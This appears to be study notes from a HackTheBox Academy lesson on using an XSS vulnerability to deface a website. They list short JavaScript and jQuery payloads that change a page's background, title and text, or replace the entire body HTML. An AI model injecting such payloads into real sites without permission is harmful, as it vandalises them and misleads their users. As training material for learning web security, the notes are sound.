4. XSS exploit after payload detection

DMG and scope of an xss atk depends on the type of XSS

Common attack with xss vulnerability is defacing:

defacing a website with xss

defacing a website is usually used to send a simple message (i.e., we successfully hacked you), so giving the defaced web page a beautiful look isn't really the primary target.

Three HTML elements are usually utilized to change the main look of a web page:

changing background:

<script>document.body.style.background = "#141d2b"</script>

set an image to background

<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

changing page title:

<script>document.title = 'HackTheBox Academy'</script>

changing page text:

document.getElementById("todo").innerHTML = "New Text"

where todo is dom object

we can also utilize jquery functions for more efficiently achieving the same thing or for changing text of multiple elements in one line

$("#todo").html('New Text');

requires jquery library imported within page source

**change entire html code of main body using innerhtml **

document.getElementsByTagName('body')[0].innerHTML = "New Text"

body element specified with doc.getelement and specifying [0] -> selecting first body element (change entire text of web page)

jquery can do this too

before sending payload + makking perm change, prepare html code separately and use innerHTML to set html code to page source